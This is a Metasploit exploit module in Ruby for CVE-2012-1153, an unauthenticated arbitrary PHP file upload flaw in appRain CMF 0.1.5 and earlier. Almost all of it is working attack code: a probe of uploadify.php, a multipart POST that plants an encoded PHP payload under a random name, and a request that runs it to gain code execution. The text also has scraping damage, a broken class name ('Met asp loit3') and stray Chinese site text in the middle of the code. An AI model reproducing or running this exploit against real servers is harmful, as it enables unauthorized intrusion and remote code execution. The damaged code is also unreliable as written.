require 'msf/core' class Met asp loit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "appRain CMF Arbitrary PHP File Upload Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in appRain's Content Management Framework (CMF), version 0.1.5 or less. By abusing the uploadify.php file, a malicious user can upload a file to the uploads/ directory without any authentication, which results in arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'EgiX', #Discovery, PoC 'sinn3r' #Metasploit ], 'References' => [ ['CVE', '2012-1153'], ['OSVDB', '78473'], ['EDB', '18392'] ], 'Payload' => { 'BadChars' => "\x00" }, 'DefaultOptions' => { 'ExitFunction' => "none" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [ ['appRain 0.1.5 or less', {}] ], 'Privileged' => false, 'DisclosureDate' => "Jan 19 2012", 'DefaultTarget' => 0)) HdhCmsTest2cto测试数据 register_options( [ OptString.new('TARGETURI', [true, 'The base path to appRain', '/appRain-q-0.1.5']) ], self.class) end def check uri = target_uri.path uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{uri}addons/uploadify/uploadify.php" }) if res and res.code == 200 and res.body.empty? return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def exploit uri = target_uri.path uri << '/' if uri[-1,1] != '/' peer = "#{rhost}:#{rport}" payload_name = Rex::Text.rand_text_alpha(rand(10) + 5) + '.php' post_data = "--o0oOo0o\r\n" post_data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{payload_name}\"\r\n\r\n" post_data << "<?php " post_data << payload.encoded post_data << " ?>\r\n" post_data << "--o0oOo0o\r\n" print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', 'uri' => "#{uri}addons/uploadify/uploadify.php", 'ctype' => 'multipart/form-data; boundary=o0oOo0o', 'data' => post_data }) # If the server returns 200 and the body contains our payload name, # we assume we uploaded the malicious file successfully if not res or res.code != 200 or res.body !~ /#{payload_name}/ print_error("#{peer} - I don't think the file was uploaded. Abort!") return end print_status("#{peer} - Executing PHP payload (#{payload_name})") # Execute our payload res = send_request_cgi({ 'method' => 'GET', 'uri' => "#{uri}addons/uploadify/uploads/#{payload_name}" }) # If we don't get a 200 when we request our malicious payload, we suspect # we don't have a shell, either. Print the status code for debugging purposes. if res and res.code != 200 print_status("#{peer} - Server returns #{res.code.to_s}") end end end
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